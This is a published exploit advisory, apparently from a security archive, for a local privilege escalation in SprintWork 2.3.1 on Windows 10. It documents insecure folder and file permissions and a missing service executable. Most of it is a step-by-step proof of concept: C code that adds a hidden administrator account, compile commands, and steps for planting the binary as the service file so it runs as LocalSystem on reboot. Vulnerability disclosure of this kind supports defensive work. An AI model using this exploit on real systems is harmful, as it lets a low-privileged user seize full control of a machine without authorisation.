SprintWork 2.3.1 Local Privilege Escalation

SprintWork version 2.3.1 suffers from a local privilege escalation vulnerability.

MD5 | 62d77fac1c188ff07085e83d80d376bb

# Exploit Title: SprintWork 2.3.1 - Local Privilege Escalation
# Exploit Author: boku
# Date: 2020-02-13
# Vendor Homepage: https://veridium.net
# Software Link: https://veridium.net/files_u/spx/exe/SprintWork-Setup.exe
# Version: 2.3.1
# Tested On: Windows 10 (32-bit)

# Vulnerability Overview:
# SprintWork v2.3.1 (x86) suffers from insecure file & service & folder permissions, unquoted service paths,
# and a missing executable for one of the two Service it installs; to be ran as 'LocalSystem'.
# This allows any local user to gain persistent code-execution as 'LocalSystem'.
# Both the 32bit & 64bit build of SprintWork v2.3.1 create the services 'SP52 AMC' & 'SprintWork TM VI', with the "StartMode" set to 'Auto', to be ran as 'LocalSystem'; these services will ran every time the computer starts. The 'SP52 AMC' Service is set to use the 'nvlsimw.exe' file. On the 32bit version, the 'nvlsimw.exe' file is never created. This, in combination with its other vulnerabilities, results in persistent code-execution for any local user as 'LocalSystem'.
# See Proof of Concept below for full details.
# About:
# "SprintWork Distraction Blocker -- Block Social Networks and Games, Track Time Spent on Websites and Programs, Maximize Productivity
# + Block or time restrict social networks, online games or any website
# - Block web distractions including social media, addictive gaming websites, video streaming websites or any website wasting your time.
# + Block or time restrict games and programs
# - Usage of non-work related applications can be blocked or limited to certain times of day, days of week or restricted to a total amount of time per day.
# + Detailed activity monitoring and reporting
# - Records time spent actively using programs, total run time of each program and start and end times of usage sessions as well as details of visited websites including time and total duration of visits.
# + Selective user monitoring and blocking.
# - Can exclude certain computer users from blocking rules and monitoring of activity. Useful for shared and family computers.
# + Wildcard support
# - Block websites that have certain words in their addresses or block an entire domain or only a specific sub-domain.
# + Multiple website blocking lists.
# - Block or set time restrictions collectively for groups of websites.
# + Cannot be bypassed, deleted or disabled.
# - Works with all browsers and Internet clients and cannot be forcefully stopped, disabled or uninstalled unless the lock time you've chosen expires and only after you enter your password."
# - https://veridium.net/sprintwork/

## Service Information (there is also an Unquoted Service Path)
C:\>wmic service get name,pathname,startmode,StartName | findstr /v "C:\Windows" | findstr /i /c:Sprintwork
SP52 AMC C:\Program Files\SprintWork\nvlsimw.exe Auto LocalSystem
SprintWork TM VI C:\Program Files\SprintWork\nvlsim.exe Auto LocalSystem

## Missing Executable file 'nvlsimw.exe' for the 'SP52 AMC' service
C:\>dir "C:\Program Files\SprintWork\" | findstr /i /c:"exe"
11/23/2019 10:20 PM 1,345,536 NVLSIM.EXE
12/25/2019 02:47 PM 1,202,688 qcden.exe
12/25/2019 02:47 PM 14,436,864 SprintWork.exe
11/23/2019 10:20 PM 1,557,504 txew.exe

## Insecure Folder Permission
C:\>icacls "C:\Program Files\SprintWork"
C:\Program Files\SprintWork BUILTIN\Users:(F)

## Insecure File/Service Permission
C:\>icacls "C:\Program Files\SprintWork\NVLSIM.EXE"
C:\Program Files\SprintWork\NVLSIM.EXE BUILTIN\Users:(I)(F)

## Local Privilege Escalation Proof of Concept
#0. Download & install SprintWork v2.3.1 (x86) on Windows 10 32bit Operating System

#1. Create low privileged user
C:\Windows\system32>net user lowpriv password /add

#2. Change to lowpriv User
C:\Users\lowPrivUser>net user lowprivuser | findstr /i "Membership Name" | findstr /v "Full"
User name lowPrivUser
Local Group Memberships *Users
Global Group memberships *None

#3. Create malicious binary on Kali Linux
3.1) Download dependencies
root@kali# apt install gcc-mingw-w64-i686 wine64 -y

3.2) Create Add Admin User C Code
root@kali# cat addAdmin.c
int main(void){
system("net user adminpriv mypassword /add");
system("net localgroup Administrators adminpriv /add");
return 0;

3.3) Compile Code
root@kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o nvlsimw.exe

#4. Transfer created 'nvlsimw.exe' to the Windows Host

#5. Move the created 'nvlsimw.exe' binary to the 'C:\Program Files\SprintWorks\' Directory
C:\Users\lowpriv>move nvlsimw.exe "C:\Program Files\SprintWork\"
1 file(s) moved.

C:\Users\lowpriv>dir "C:\Program Files\SprintWork\" | findstr /i /c:nvlsim
11/23/2019 10:20 PM 1,345,536 NVLSIM.EXE
02/13/2020 06:07 PM 288,469 nvlsimw.exe

#6. Verify localgroup 'Administrators' members
C:\Users\lowpriv>net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain



#6. Reboot the Computer
C:\Users\lowpriv>shutdown /r /t 0

#7. Verify user 'adminpriv' was created & added to the localgroup 'Administrators'
C:\>net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain



C:\>net user adminpriv | findstr /C:"User name" /C:active /C:Password /C:Group
User name adminpriv
Account active Yes
Password last set ?2/?13/?2020 6:18:03 PM
Password expires Never
Password changeable ?2/?13/?2020 6:18:03 PM
Password required Yes
Local Group Memberships *Administrators *Users
Global Group memberships *None

Related Posts